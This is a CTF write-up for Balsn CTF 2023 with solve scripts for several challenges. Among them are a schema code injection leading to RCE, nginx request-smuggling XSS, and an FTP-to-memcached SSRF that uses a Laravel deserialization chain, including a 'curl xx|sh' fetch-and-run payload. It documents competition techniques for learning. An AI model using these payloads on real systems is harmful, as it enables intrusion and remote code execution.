Balsn CTF 2023 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time, I participated in Balsn CTF 2023 with ${cYsTiCk} and got third place. I solved some problems and wrote a writeup to record what I learned.

crypto

Prime

This problem had a self-implemented AKS primality test, but it seemed to have some parameter selection issues that allowed it to be bypassed.

import gmpy2
import random
from secret import FLAG

def main():
	n = int(input("prime: "))

	if n <= 0:
		print("No mystiz trick")
	elif n.bit_length() < 256 or n.bit_length() > 512:
		print("Not in range")
	elif not is_prime(n):
		print("Not prime")
	else:
		x = int(input("factor: "))

		if x > 1 and x < n and n % x == 0:
			print("You got me")
			print(FLAG)
		else:
			print("gg")

def is_prime(n):
	# check if n = a^b for some a, b > 1
	for i in range(2, n.bit_length()):
		root, is_exact = gmpy2.iroot(n, i)
		if is_exact:
			return False

	rs = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]
	return all(test(n, r) for r in rs)

def test(n, r):
	"""
	check whether `(x + a) ^ n = x ^ n + a (mod x ^ r - 1)` in Z/nZ for some `a`.
	"""
	R.<x> = Zmod(n)[]
	S = R.quotient_ring(x ^ r - 1)

	a = 1 + random.getrandbits(8)
	if S(x + a) ^ n != S(x ^ (n % r)) + a:
		return False
	return True

if __name__ == "__main__":
	main()

I randomly discovered that as long as nn is a Carmichael number (a,ana(modn)\forall a,\, a^n \equiv a \pmod{n}), and n1(modr)n \equiv 1 \pmod{r}, then test(n, r) would pass. Then, referring to this article on generating Carmichael numbers, I generated one.

rs = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97]
P = prod(rs)

while True:
	k = randint(2**10, 2**20)
	a = 6 * k + 1
	b = 12 * k + 1
	c = 18 * k + 1
	if is_pseudoprime(a) and is_pseudoprime(b) and is_pseudoprime(c):
		n = a * b * c
		print(n)
		print(a, b, c)
		break
# BALSN{th3_imp1_15_bR0k3n_4nd_mUch_sL0W3r_tH4n_pycrypto_is_prime_qwq}

The mathematically imprecise derivation is as follows:

ana(modn)    (x+a)nx+a(modn)a^n \equiv a \pmod{n} \implies (x+a)^n \equiv x+a \pmod{n}

And if n1(modr)n \equiv 1 \pmod{r}, then xnx(modxr1)x^n \equiv x \pmod{x^r - 1}, so (x+a)nxn+a(modxr1)(x+a)^n \equiv x^n + a \pmod{x^r - 1}.

However, this is not true for all Carmichael numbers nn. For example, n=29341,r=5n=29341, r=5 is a counterexample. After thinking about it, I realized that (x+a)n=x+a(x+a)^n=x+a in Zn[x]\mathbb{Z}_n[x] are two different-looking f(x),g(x)f(x),g(x), but they are equal for all values of xx, which fits the definition of a Carmichael number. However, Zn[x]Zn[x]/(xr1)\mathbb{Z}_n[x] \neq \mathbb{Z}_n[x]/(x^r-1), so it is not necessarily correct. This can be verified with the following Sage code:

r = 5
n = 29341
assert n % r == 1
a = 87
R.<x> = Zmod(n)[]
S = R.quotient_ring(x ^ r - 1)
f = (x + a) ^ n
g = x + a
for i in range(0, n):
	assert f(i) == g(i)

f = (S(x + a) ^ n).lift()
g = (S(x) + a).lift()
for i in range(0, n):
	assert f(i) == g(i)  # not true

But since I was able to solve the problem with the previous method, it means that (x+a)n=x+a(x+a)^n=x+a in Zn[x]/(xr1)\mathbb{Z}_n[x]/(x^r-1) must have some conditions for it to hold. The actual condition is i,r(pi1)\forall i,\, r|(p_i-1), where pip_i are the factors of n=p1p2n=p_1 p_2 \cdots. For a detailed proof, refer to this document in Chapter 3.

Many-Time-QKD

In short, this problem had a QKD similar to BB84, with two parties, Alice and Bob, where Alice sends messages to Bob. Each time a message is sent, we can choose which qubits to monitor, and if the BER exceeds 0.1, the flag will be encrypted with a shared key and the process ends. So, to reuse the oracle, the BER needs to be less than 0.1.

The main issue with the problem is that the seed (random bit) chosen by Alice is fixed for each oracle, and some tests show that the observed bits have a high correlation with Alice's seed. I'm not entirely sure of the actual reason, but I suspect it has to do with the Pauli basis used by Alice and Bob:

PAULI_BASES = [Basis(Qubit([1+0j, 1+0j])), Basis(Qubit([1+0j, 0+0j]))]
THETA = np.pi/8
MAGIC_QUBIT = Qubit([np.cos(THETA)+0j, np.sin(THETA)+0j])
MAGIC_BASIS = Basis(MAGIC_QUBIT)

# alice bob bases: PAULI_BASES
# eve basis: MAGIC_BASIS

Testing it myself, I found that changing the basis used by Alice and Bob to the original rectilinear basis makes the bias disappear.

Since there is a bias, I first selected some qubits to avoid a high BER. After repeating this multiple times, I could see which bits appeared more frequently to obtain part of Alice's seed. Repeating this operation until the complete Alice seed is obtained, and finally, when it encrypts the flag, it will provide the common basis of Alice and Bob, so the key can be derived to get the flag.

from pwn import process, remote
import numpy as np
from Crypto.Cipher import AES
import bitstring

n = 768
# io = process(["python", "problem/main.py"])
io = remote("guessq.balsnctf.com", 1258)


def oracle(to_observe):
    io.recvuntil(b"transmitted.]\n")
    s = "".join([str(i) for i in to_observe])
    io.sendline(s.encode())
    bits = list(io.recvlineS().strip())
    same_index = [int(x) for x in io.recvlineS().strip().split(",")]
    return bits, same_index


# for some unknown reason, P(observed[i] == p1.seed[i]) is high
# and p1.seed is completely static
# so we use statistical attack to recover p1.seed
p1seed = []
chunks = 4  # to ensure ber < 0.1, or server will terminate the connection
T = 20
for i in range(chunks):
    print(i)
    arr = []
    for _ in range(T):
        query = [0] * n
        sli = slice(i * (n // chunks), (i + 1) * (n // chunks))
        query[sli] = [1] * (n // chunks)
        bits, _ = oracle(query)
        arr.append([int(x) for x in bits[sli]])
    arr = np.array(arr)
    p1seed += [int(x) for x in arr.sum(axis=0) > T // 2]
print("".join([str(x) for x in p1seed]))


io.recvuntil(b"transmitted.]\n")
io.sendline(b"1" * n)
io.recvline()
same_index = [int(x) for x in io.recvlineS().strip().split(",")]
key = bitstring.BitArray([p1seed[i] for i in same_index])
print(len(key), key)

io.recvline()
ct = bytes.fromhex(io.recvlineS().strip())
nonce = bytes.fromhex(io.recvlineS().strip())
print(ct, nonce)
key_in_bytes = key[0:256].tobytes()
cipher = AES.new(key_in_bytes, AES.MODE_EAX, nonce=nonce)
print(cipher.decrypt(ct))
# BALSN{I_giV3_Y0u_kEy_because_y0u_are_sOO00_smarT}

web

0FA

This problem required sending a request with a specified TLS fingerprint (JA3), so I found a library that could forge JA3 and solved it:

const initCycleTLS = require('cycletls')
// Typescript: import initCycleTLS from 'cycletls';

;(async () => {
	// Initiate CycleTLS
	const cycleTLS = await initCycleTLS()

	// Send request
	const response = await cycleTLS(
		'https://0fa.balsnctf.com:8787/flag.php',
		{
			body: 'username=admin',
			headers: {
				'Content-Type': 'application/x-www-form-urlencoded'
			},
			ja3: '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0',
			userAgent: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0'
		},
		'post'
	)

	console.log(response)

	// Cleanly exit CycleTLS
	cycleTLS.exit()
})()
// BALSN{Ez3z_Ja3__W4rmUp}

SaaS

First, bypass the nginx reverse proxy check:

server {
    listen 80 default_server;
    return 404;
}
server {
    server_name *.saas;
    if ($http_host != "easy++++++") { return 403 ;}
    location ~ {
      proxy_pass http://backend:3000;
    }
}

It can be seen that server_name must end with .saas, but if Host is not easy++++++, it will be blocked. If there is https, I think it can be bypassed by using TLS SNI and Host differently (a.k.a. domain fronting), but I have no idea here.

Later, my teammate @lebr0nli mentioned that the path part of the request line in nginx can actually contain the full URL, so it can be bypassed like this:

GET http://a.saas/ HTTP/1.1
Host: easy++++++

The backend is a node.js program:

const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
  logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
  type: 'object',
  properties: {
    pong: {
      type: 'string',
    },
  },
}
fastify.get(
  '/',
  {
    schema: {
      response: {
        200: defaultSchema,
      },
    },
  },
  async () => {
    return {pong: 'hi'}
  }
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
  const {uid} = req.params
  const validator = customValidators[uid]
  if (validator) {
    return validator({[FLAG]: 'congratulations'})
  } else {
    return {msg: 'not found'}
  }
})

fastify.post('/register', {}, async (req, resp) => {
  // can only access from internal.
  const nid = uuid()
  const schema = Object.assign({}, defaultSchema, req.body)
  customValidators[nid] = validatorFactory({schema})
  return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
  if (err) {
    fastify.log.error(err)
    process.exit(1)
  }
  // Server is now listening on ${address}
})

The FLAG above is indeed an old flag, and the real flag is at /flag, so RCE is needed.

The main issue here is that we can decide the schema ourselves, and the @fastify/fast-json-stringify-compiler uses fast-json-stringify, which has many code injection points, such as required.

So, using code injection in the schema results in RCE.

from pwn import remote
import json


def do_request(req: bytes):
    io = remote("saas.balsnctf.com", 8787)
    io.send(req)
    return io.recvall()


body = json.dumps(
    {
        "type": "object",
        "required": [
            "*/'+/*+'])1;return process.mainModule.require('fs').readFileSync('/flag').toString()//"
        ],
    }
)
req = f"POST http://a.saas/register HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: {len(body)}\r\nHost: easy++++++\r\n\r\n{body}"
resp = do_request(req.encode()).partition(b"\r\n\r\n")[2]
j = json.loads(resp.decode())
print(j)

req = f'GET http://a.saas{j["route"]} HTTP/1.0\r\nHost: easy++++++\r\n\r\n'
print(do_request(req.encode()))
# BALSN{N0t_R3al1y_aN_u3s_Ca53}

*1linenginx

This problem was not solved by me alone; it was done with the help of teammates @lebr0nli and @splitline.

This problem is literally just one line of nginx config, and the goal is XSS.

server { root /usr/share/nginx/html; if ($host !~ [\<\>\'\"\`\&\;\\\/\?\#\$]) { set $rhost $host; } error_page 404 =200 http://$rhost/;}

It may not seem problematic at first glance, but looking at the docker compose, it uses nginx:1.16, which is an old version of nginx. Checking reveals CVE-2019-20372, an nginx error_page request smuggling vulnerability:

GET /a HTTP/1.1
Host: localhost
Content-Length: 56

GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

Testing it, I found it indeed exists, and it can be triggered on the client side:

window.onload = () => {
	const target = 'http://localhost:80/x'
	const form = document.createElement('form')
	form.method = 'POST'
	form.action = target
	form.enctype = 'text/plain'
	const inp = document.createElement('input')
	inp.name = `GET /hello HTTP/1.0\r\nHost: hello\r\n\r\n`
	form.appendChild(inp)
	document.body.appendChild(form)
	form.submit()
}

And it can indeed be seen in the nginx log as GET /hello, but Chrome redirects away due to the original request's 302 redirect, so the response is not visible.

This issue reminded me of client-side desync, so I referred to Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling, specifically the Akamai - stacked HEAD case.

The general concept of this attack is to trigger desync through fetch, and immediately after the request completes, use location = '...' to reuse the same socket. This way, the response of the smuggled request will be treated as the response of the subsequent request by the browser, making it exploitable.

In this problem's scenario, since it is a redirect, referring to the article, setting fetch to cors mode will trigger a CORS exception during the redirect, and catch will immediately trigger, making it easier to exploit.

However, in practice, Chrome checks for extra data when receiving the first response. If there is extra data, Chrome will automatically close the connection, which is the stacked-response problem mentioned in the article. The solution is to find a way to delay the smuggled request, and in this problem's scenario, I found that if the path exists, and it is a POST with a short Content-Length body, there will be a delay:

printf 'GET /x HTTP/1.1\r\nHost: aasd\r\nContent-Length: 22\r\n\r\nPOST / HTTP/1.0\r\nHost: hello\r\nContent-Length: 1\r\n\r\n' | nc 1linenginx.balsnctf.com 80
# there is a visible delay between the first and the second response

After some attempts, I found that this JS successfully triggers 405:

fetch('http://1linenginx.balsnctf.com/x', {
	method: 'POST',
	body: `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n`,
	mode: 'no-cors',
	credentials: 'include'
})

devtool showing http 405 for the redirect

It can be seen that the browser reuses the same connection during the redirect, so the response of the second request of the 302 redirect becomes the response of our smuggled request (405).

So, I modified it to:

window.onload = () => {
    const target = 'http://1linenginx.balsnctf.com/x'
    const form = document.createElement('form')
    form.method = 'POST'
    form.action = target
    form.enctype = 'text/plain'
    const inp = document.createElement('input')
    inp.name = `POST / HTTP/1.0\r\nContent-Length: 100\r\nHost: asd\r\n\r\n`
    form.appendChild(inp)
    document.body.appendChild(form)
    form.submit()
}

I found that sometimes it shows 405 Not Allowed at http://1linenginx.balsnctf.com/ after the redirect, and sometimes it doesn't. After more testing, I found that the first request of a new Chrome profile/incognito always succeeds (405), but subsequent tests within a short time fail (showing the nginx welcome page). However, waiting a while and testing again in the same Chrome instance succeeds (405), so I guessed it was related to Chrome's connection pool. This can be confirmed by flushing the socket pools at chrome://net-internals/#sockets before each experiment.

So how to exploit this? The original article mentioned using a HEAD request, as the response of HEAD contains Content-Length and other related information but no body. So, if we smuggle another request behind it, the response of this request will be treated as the response body by Chrome.

Therefore:

window.onload = () => {
	const target = 'http://1linenginx.balsnctf.com/x'
	const form = document.createElement('form')
	form.method = 'POST'
	form.action = target
	form.enctype = 'text/plain'
	const inp = document.createElement('input')
	inp.name = `HEAD / HTTP/1.1\r
Host: asd\r
Content-Length: 100\r
\r
GET /x HTTP/1.1\r
Host: konpeko\r
\r
`
	form.appendChild(inp)
	document.body.appendChild(form)
	form.submit()
}

will display

http response header displayed on the page

It can be seen that konpeko is reflected on the page. However, the difficulty here is that the nginx config requires Host to not contain those HTML-related special characters, so a workaround is needed.

The key here is to use the fact that the original nginx welcome page is HTML. By using a range request to piece together a <body garbage, and then adding onload=... after it, it will be treated as an attribute XSS. Finally, piecing it together results in

name = 'console.log(document.domain)'
window.onload = () => {
	const target = 'http://1linenginx.balsnctf.com/x'
	const form = document.createElement('form')
	form.method = 'POST'
	form.action = target
	form.enctype = 'text/plain'
	const inp = document.createElement('input')
	inp.name = `HEAD / HTTP/1.1\r
Host: 0\r
\r
GET / HTTP/1.1\r
Host: 0\r
Range: bytes=207-211\r
\r
GET /x HTTP/1.0\r
Host: autofocus tabindex=1 onfocus=eval(name) x`
	form.appendChild(inp)
	document.body.appendChild(form)
	form.submit()
}
// BALSN{CL.0_XSS!W31rd_B3h4v10r_1n_Chrom3s_C0nn3ct10n_P00l..}

Note that the HEAD here does not have Content-Length, which I don't know why it works without it. Adding Content-Length actually causes it to fail...

*memes

I didn't successfully solve this problem, but I got very close, so I'll write a record.

This problem is a Laravel website, with the core part of the code being:

$sampleImage = $request->input('image');
$image = imagecreatefrompng($sampleImage);
// do something to $image
$saveDir = str_replace(['memes/', '.png'], ['generated/', ''], $sampleImage);
if (!file_exists($saveDir)) {
	mkdir($saveDir, 0777, true);
}
$imagePath = "$saveDir/" . bin2hex(random_bytes(8)) . '.png';
imagepng($image, $imagePath);
imagedestroy($image);

In short, it reads an image from a specified location, processes it, and then outputs it. The output path is also partially controllable.

Since this is PHP, $sampleImage can be php://filter/..., http://, data:, etc., but most are not very exploitable because the final $imagePath must be writable, or it will error.

One supported thing is ftp://, which connects to an FTP server to get the file, and the output is also saved via FTP. When reading or saving a file, FTP commonly uses passive mode, where the server tells the client an IP + port, and the client initiates a TCP connection to that IP port to read or write data. Therefore, if the FTP server is controllable, it can initiate connections to arbitrary IP ports and write PNG data, which is a write-only SSRF.

In this problem, Laravel's session backend uses memcached, and the docker compose fixes the subnet:

networks:
  default:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 10.87.0.1/16

Running it, I found that the memcached container's IP is 10.87.0.2, so writing to memcached via SSRF is feasible, and then it should be chained to a deserialization RCE. Testing it, I found that phpggc's Laravel/RCE15 is still usable on Laravel 10, so it's not an issue.

However, the problem is which key to write to in memcached, as the Laravel session ID is stored in a cookie, and by default, it is wrapped in an encrypted cookie middleware, so the value of laravel_session in the cookie is encrypted, making it impossible to know the session ID and thus the key in memcached.

According to the problem author, this can be done using php filter error oracle. Although I thought of this, I couldn't distinguish different 500 errors on the server side, so I didn't succeed.

Here is my custom FTP server:

from pwn import *
import threading
import subprocess
from base64 import b64encode
import os

TARGET_FILE = "a.png"
def generate():
    key = os.urandom(4).hex()
    key = 'laravel_cache_:it31ULY6F4SLii0wsaUUUTktYjjoCwrLQEWpZdRq'

    chain = subprocess.check_output(['php', '/home/maple3142/workspace/phpggc/phpggc', 'Laravel/RCE15', 'system', '/readflag --give-me-the-flag > /var/www/meme-maker/p*/g*/glaf']).decode().strip()
    chain = subprocess.check_output(['php', '/home/maple3142/workspace/phpggc/phpggc', 'Laravel/RCE15', 'system', 'curl xx|sh']).decode().strip()
    print(chain, len(chain))
    assert isinstance(chain, str)

    # https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html#:~:text=payloads/generators/generate_plte_png.php
	# modified to accept base64 encoded payload
    assert subprocess.check_output(
        ["php", "gen.php", b64encode(f"\r\nset {key} 0 0 {len(chain)}\r\n{chain}\r\nquit\r\n".encode()).decode(), TARGET_FILE]
    ) == b""

context.log_level = "debug"

SRV_PORT = 3535
# TARGET = "127.0.0.1"
TARGET = "10.87.0.2"
TARGET_PORT = 11211

DATA_PORT = 3536
PUBLIC_IP = "???"




def data_thread():
    srv = listen(DATA_PORT)
    srv.wait_for_connection()
    with open(TARGET_FILE, "rb") as f:
        srv.send(f.read())
    srv.close()

generate()
def handle(srv):
    is_retr = False
    srv.send(b"220 welcome\n")
    while True:
        cmd, *args = srv.recvline().strip().split(b" ")
        if cmd == b"USER":
            srv.send(b"331 Please specify the password.\n")
        elif cmd == b"PASS":
            srv.send(b"230 Login successful.\n")
        elif cmd == b"CWD":
            srv.send(b"250 Okay.\n")
        elif cmd == b"TYPE":
            srv.send(b"200 Switching\n")
        elif cmd == b"SIZE":
            if args[0].endswith(b'/' + TARGET_FILE.encode()):
                is_retr = True
                with open(TARGET_FILE, "rb") as f:
                    ln = len(f.read())
                srv.send(f"213 {ln}\n".encode())
            else:
                is_retr = False
                srv.send(b"550 NO\n")
        elif cmd == b"RETR":
            srv.send(b"150 Opening data connection.\n")
            time.sleep(1)
            srv.send(b"250 Ok\n")
        elif cmd == b"PWD":
            srv.send(b'257 "/"\n')
        elif cmd == b"EPSV":
            srv.send(b"250 ok\n")
        elif cmd == b"PASV":
            if is_retr:
                threading.Thread(target=data_thread).start()
                ip = PUBLIC_IP.replace(".", ",")
                srv.send(
                    f"227 Entering Passive Mode ({ip},{DATA_PORT//256},{DATA_PORT%256})\n".encode()
                )
            else:
                ip = TARGET.replace(".", ",")
                srv.send(
                    f"227 Entering Extended Passive Mode ({ip},{TARGET_PORT//256},{TARGET_PORT%256})\n".encode()
                )
        elif cmd == b"STOR":
            srv.send(b"150 Opening data connection.\n")
            time.sleep(2)
            srv.send(b"250 Ok\n")
            # srv.send(b"150 no\n")
        else:
            # including QUIT
            srv.send(b"221 Goodbye.\n")
            srv.close()
            break
while True:
    srv = listen(SRV_PORT)
    srv.wait_for_connection()
    threading.Thread(target=handle, args=(srv,)).start()

The script to actually write to memcached:

import requests
from bs4 import BeautifulSoup

target = "http://localhost:5000"
# target = "http://memes.balsnctf.com"
ftpurl = "ftp://????:3535/a.png"

sess = requests.Session()

soup = BeautifulSoup(sess.get(f"{target}/?image=a").text, "html.parser")
token = soup.select_one("input[name=_token]")["value"]

r = sess.post(
    f"{target}/make",
    data={
        "_token": token,
        "image": ftpurl,
        "texts[0][text]": "Hello World",
        "texts[0][x]": "1000",
        "texts[0][y]": "1000",
        "texts[0][size]": "0",
        "texts[0][color]": "#000000",
        "texts[0][angle]": "0",
    },
    allow_redirects=False,
)
print(r.headers)
print(r.text)

reverse

Lucky

In short, after reversing, it was found to be like a repeated key XOR cipher, with len(key)=16. Using the known flag format, I found the key starts with 141592, so I guessed it was the decimal part of π\pi and used it to XOR and solve it:

def xor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])

# fmt: off
data = [0x73, 0x75, 0x7D, 0x66, 0x77, 0x49, 0x5A, 0x60, 0x50, 0x7E, 0x67, 0x08, 0x44, 0x66, 0x40, 0x02, 0x5E, 0x7B, 0x01, 0x7A, 0x66, 0x03, 0x5B, 0x65, 0x03, 0x47, 0x0F, 0x0D, 0x59, 0x4D, 0x6C, 0x5B, 0x7F, 0x6B, 0x52, 0x02, 0x7F, 0x13, 0x15, 0x48, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0x6F, 0xF2, 0x86, 0x23, 0x00, 0x00, 0xE1, 0xF5, 0x05, 0x00, 0x00, 0x00, 0x00]
# fmt: on

# print(xor(data, b'BALSN{'))
key = b'14159265358979323846'[:16]
print(xor(data, key * 10))
# BALSN{lUcK_1s_s0oO0O_1mP0r74nt_iN_c7F!#}

misc

Web3

To pass the following verification:

function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}

app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }

    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }

  res.send("wrong");
  return;
});

In short, the message cannot look like an address, and ethers.verifyMessage is used to get the public key's address from the message and signature, and then compare it with ethers.getAddress(message).

So, I looked into ethers.getAddress and found something called ICAP address, an alternative representation of an address. So, I generated a keypair locally, converted the address to an ICAP address as the message, and then signed it to get the signature.

const ethers = require("ethers")

const wallet = ethers.Wallet.createRandom()
const icapAddress = ethers.getIcapAddress(wallet.address)
console.log(icapAddress)

const message = icapAddress
const signature = wallet.signMessageSync(message)
console.log(message, signature)

// curl 'http://web3.balsnctf.com:3000/exploit' -d 'message=XE28880YVE0HIILVYZ28VC799QN3DT5WBSE' -d 'signature=0x45361bb7ba3003c02081471d0ea5358181ba547d43570cd730cc3d6f3574b98b3627c069f1a78cc3a7db4b26d4c25419a4d4f095a10a23fb88668ecb6d08fa7f1c'
// BALSN{Inter_Exchange_Client_Address_Protocol}

pycthon

In short, it had a modified Python binary running this script:

#!/usr/bin/python3 -u
with open('/home/ctf/flag') as f:
    flag = f.read()
payload = input(">>> ")
set_dirty(flag)
sandbox()
eval(payload)

The sandbox sets seccomp, restricting to only read from 0 and write to 1,2. The set_dirty function prevents flag from being passed as an argument to other functions.

I found that set_dirty can be easily bypassed with flag.encode(), but for some reason, I couldn't print it directly. However, I observed different outputs when there was an exception, so I guessed the flag character by character.

from pwn import process, remote, context
import string

context.log_level = "error"


def tmpl(idx, char):
    return f"""(f:=flag.encode(),1/0 if f[{idx}]==b'{char}'[0] else 0)"""


def oracle(idx, char):
    # io = process(["./python", "x.py"])
    io = remote("pycthon.balsnctf.com", 17171)
    io.sendline(tmpl(idx, char).encode())
    return b"except" in io.recvall()


chars = "{}_" + string.digits + string.ascii_letters
flag = "BALSN{"
while not flag.endswith("}"):
    for char in chars:
        if oracle(len(flag), char):
            flag += char
            print(flag)
            break
    else:
        print("fail")
        break
# BALSN{4_qu1ck_4nd_d127y_1n720duc710n_70_3x732102_c41cu1u5}

After the competition, I learned from @Crazyman that it could be done with os.write to print the flag directly:

__builtins__.__loader__.load_module.__globals__['sys'].modules['os'].write(1, flag.encode())